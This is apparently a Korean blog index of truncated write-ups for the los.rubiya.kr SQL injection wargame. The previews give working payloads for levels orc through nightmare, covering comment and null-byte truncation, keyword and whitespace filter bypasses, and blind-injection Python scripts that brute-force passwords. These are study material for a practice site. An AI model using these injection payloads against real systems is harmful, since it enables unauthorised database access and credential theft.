본문 바로가기

los.rubiya.kr18

[los.rubiya.kr] nightmare #18 [nightmare] 이번 문제는 pw길이가 6을 넘어서는 안되고, 뒤를 보니 id!='admin'이 있어 주석처리를 해줘야한다. 하지만 #과 -이 preg_match에 막혀있어 ;%00을 써야한다 ;%00은 mysql에서는 ;%00을 입력하면 쿼리의 마지막이라 생각하여 뒤를 읽지 않는것을 이용한 방법이다. 또한 이번문제는 pw=('')를 이용해야한다. mysql의 auto type cast를 이용하는것이다. auto type cast는 string의 column값을 int형과 비교하게 되면 string은 항상 0이 return 되는 것이다. 즉 pw=('')을 하면 0이 return이 되므로 =0을 할경우 0=0이 되어 모든 컬럼이 출력된다. ')=0 을 입력하면 4글자, ;%00 을 입력하면 2글자 .. 2018. 9. 30.
[los.rubiya.kr] succubus #17 [succubus] 저번 문제와는 달리 preg_match를 통하여 문자열을 필터링 한다.여기서 preg_match 필터링을 피하기 위한 방법이 있는데 바로 \ 이다.\'를 하면 '는 일반 문자열이 된다.즉, ?id=\를 입력하면 구문은select id from prob_succubus where id='\' and pw='' 이 되고select id from prob_succubus where id='\' and pw='' 노란색으로 된 부분이 문자열이 되는것이다.?id=\&&pw=%20or%20id%20like%20"admin"%20--%20을 입력하면 clear! 2018. 9. 26.
[los.rubiya.kr] zombie_assassin #16 [zombie_assassin] 이번문제는 \우회도 안되고 '를 사용해서도 안된다..하지만 이 문제가 다른 문제와 다른점을 찾자만 ereg함수로 싱글쿼터를 막아뒀다는 점이다.preg_match와 달리 ereg함수의 문제점은 NULL(%00)값이 들어가면 문자열이 끝난것으로 인식하여더이상 문자열 검색을 하지 않는다는 점이다. 즉, ?pw=%00%27%20||%20id=%27admin%27%20--%20을 입력해도 ereg함수에 걸리지 않고 자유롭게 쓸수가 있다. 번외로 ?id=%00admin%27--%20을 입력해도 clear가 뜨지 않는 이유이다.그 이유는 (NULL)admin = 6글자 admin=5글자 이 차이때문이다.NULL값이 들어가므로써 위의 admin은 6글자가 되서 5글자인 admin과는 다.. 2018. 9. 19.
[los.rubiya.kr] assassin #15 [assassin] 이 문제는 큰따옴표를 우회를 하지 못하기 때문에 mysql에서 문자열을 검색할때 이용하는 %를 이용하여 풀면된다.예를 들어 a로시작하는 문자를 찾고싶으면 a%를ex) select * from table where name like 'a%';중간에 a가 들어가는 문자를 찾고싶으면 %a%를ex) select * from table where name like '%a%';마지막문자가 a인 문자를 찾고싶으면 %a를 문자열로 입력하면 된다.ex) select * from table where name like '%a';즉, 우리는 비밀번호를 찾기 위해서 pw=0%부터 pw=z% 까지 입력을 하면서Hello guest 또는 Hello admin이 뜨는 것을 찾으면 된다.직접 일일히 하기는 힘들기.. 2018. 9. 17.
[los.rubiya.kr] giant #14 [giant] query문을 보니 select 1234 from{$_GET[shit]}prob_giant where 1 로 되어있다. 이 부분을 잘 살펴보면 오류난 곳은 없지만 from과 prob_giant 사이에 공백이 없어query문이 정상적으로 실행이 안되는 것 같다.shit에는 strlen함수에 의해서 1글자 이상 적을수 없다. 즉, 우리는 공백만 넣어야한다공백으로 \n, \r, \t, 띄어쓰기 총 4개를 preg_match함수에 의해서 못쓰게 되어있다.우리는 url인코딩을 통해서 공백으로 %20, %09, %0a, %0b, %0c, %0d를 쓸수 있다.SQL injection 우회 정리즉 %0b와 %0c 중 하나를 쓰면 된다.?shit=%0c 2018. 9. 12.
[los.rubiya.kr] bugbear #13 [bugbear] 이번 문제는 preg_match함수에 의해 싱글쿼터, substr, ascii, =, or, and, 공백, like 가 막혀있다.웬만한거는 거의 다 막아높은것 같다. 우선 싱글쿼터는 더블쿼터로, substr은 left, ascii는 우회를 안해도 될것 같고=, like 대신 in을 or는 ||, and는 &&로 공백은 탭이나 개행으로 우회를 하면 비밀번호를 구할 수 있을것 같다.우선 length함수로 길이를 구하고, left를 통해 비밀번호를 구하자.?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(숫자) 이런식으로 길이를 알아내고?no=""%0a||%0aid%0ain%0a("admin")%0a%26%26%0aleft(p.. 2018. 8. 28.
[los.rubiya.kr] darkknight #12 [darkknight] 저번 문제에 비해 preg_match가 많아졌다.. pw에는 preg_match에 의해 싱글쿼터가 안되고no에는 preg_match에 의해 싱글쿼터, substr, ascii, =이 안된다..저번 문제처럼 =은 like, substr은 left로 우회를 하면 되고 문자열을 입력할때는 더블쿼터를 쓰면 될 것 같다.?no="" or id like "admin" and length(pw) like 숫자 이런식으로 길이를 알아내고?no="" or id like "admin" and left(pw,1) like "문자" 이런식으로 비밀번호를 알아내면 될것 같다. import requests for admin_len in range(99) : URL='http://los.rubiya.kr/d.. 2018. 8. 26.
[los.rubiya.kr] golem #11 [golem] 이번 문제는 preg_match에 의해서 or, and, substr(, =이 막혀있다.or는 ||, and는 &&, substr은 mid, left, substring, =은 like, in으로 우회가 가능하다.SQL 인젝션 우회 정리 이번 문제도 직접 비밀번호를 찾아야하니 length함수와 left함수를 이용하여 찾자.?pw=' || id like 'admin' && length(pw) like 숫자 --%20 이런식으로 하면 길이를 알 수 있을것 같고?pw=' || id like 'admin' && left(pw,1) like 문자 -- %20 이런식으로 하면 비밀번호를 알 수 있을것 같다.또한 url로 직접 치는것이기 때문에 && 같은경우는 %26으로 입력해 주면 된다. import.. 2018. 8. 26.
[los.rubiya.kr] skeleton #10 [skeleton] 이번엔 id=admin을 꺼내오면 된다 싱글쿼터가 막히지 않았으므로pw는 아무값을 넣고 id=admin을 넣은후 and1=0은 주석처리를 하면될것 같다.?pw=' or id='admin' --%20를 입력하면 클리어! 2018. 8. 26.
[los.rubiya.kr] vampire #9 [vampire] 이번에도 id가 admin이면 풀리는 문제이다. preg_match함수에 의해 싱글쿼터를 사용할수 없고strtolower함수에 의해 모든 문자를 소문자로 변경한다. 즉, 이번엔 Admin이 admin으로 바뀐다.그리고 str_replace함수에 의해서 admin이 "" 그냥 공백으로 바뀐다.즉, admin을 입력해야하지만 admin을 입력하면 그냥 공백으로 바뀌며, 이번에는 Admin이렇게 대문자를 사용해도 소문자인admin으로 바뀐다.admin이 공백으로 바뀌는 것을 이용하여 풀면 된다. ?id=aadmindmin을 하면 admin이 공백이되고 admin만 남으므로 클리어. 2018. 8. 26.
[los.rubiya.kr] troll #8 [troll] id=admin이면 풀리는 문제이다. 하지만 id에 admin을 넣으면 HeHe가 출력이 된다.또한 preg_match에 의해서 싱글쿼터도 쓰지 못한다. id를 검사하는 함수가 ereg이므로 대소문자 구분을 한다. 즉 Admin과 admin은 전혀 다른 문자이다.하지만 mysql에서는 대소문자 구분을 하지 않으므로 Admin과 admin이 같다.즉, ?id=Admin 이라 입력하면 문제가 풀릴것 같다. 2018. 8. 26.
[los.rubiya.kr] orge #7 [orge] 문제를 보니 preg_match함수에 의해 or과 and를 사용할 수없으므로 ||와 &&로 우회를 해줘야 한다.그리고 다른 별다른 필터링이 없으므로 length와 substr을 이용하여 비밀번호를 구할수 있을것 같다.?pw=' || id='admin' && length(pw)='숫자 를 이용하여 길이를 구하고?pw=' || id='admin' && substr(pw,1,1)='문자 를 이용하여 패스워드를 구하면 된다. import requests for admin_len in range(99) : URL='http://los.rubiya.kr/orge_bad2f25db233a7542be75844e314e9f3.php' query={'pw': '\' || id=\'admin\' && lengt.. 2018. 8. 25.
[los.rubiya.kr] darkelf #6 [darklef] preg_match에 or, and가 있다. or과 and를 우회하는 방법은 ||와 &&로 우회를 하면 된다.이외에 특별한 것은 없으니 ?pw=' || id='admin 을 입력하면 문제가 클리어될것 같다. 2018. 8. 24.
[los.rubiya.kr] wolfman #5 [wolfman] 이번 문제는 preg_match에 띄어쓰기가 포함되어 있어 띄어쓰기를 쓰지 못할것 같다.하지만 우리는 get방식으로 보내는것이기 때문에 url인코딩을 이용할수 있고, 공백을 대체할것은 많다띄어쓰기 대신 %0a, %09, %0d, %0b, %0c 를 쓰면 된다.?pw='%0aor%0aid='admin 을 입력하면 clear..! 2018. 8. 21.
[los.rubiya.kr] orc #4 [orc] 아래쪽의 if문을 보니 실제 비밀번호를 알아야 문제가 풀리는것 같다.우선 length와 substr함수를 이용해 blind sql injection을 하여 실제 비밀번호를 알 수 있을것 같다.?pw=' or length(pw)=숫자 --%20 을 하여 비밀번호의 길이를 알 수 있다.또한 ?pw=' or substr(pw,1,1)="문자" --%20 을 하면 비밀번호를 알 수 있다.직접 하긴 복잡하니 python requests모듈을 이용해서 직접 비밀번호를 구해보자. import requests for admin_len in range(99) : URL='http://los.rubiya.kr/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' query={'pw': '\.. 2018. 8. 20.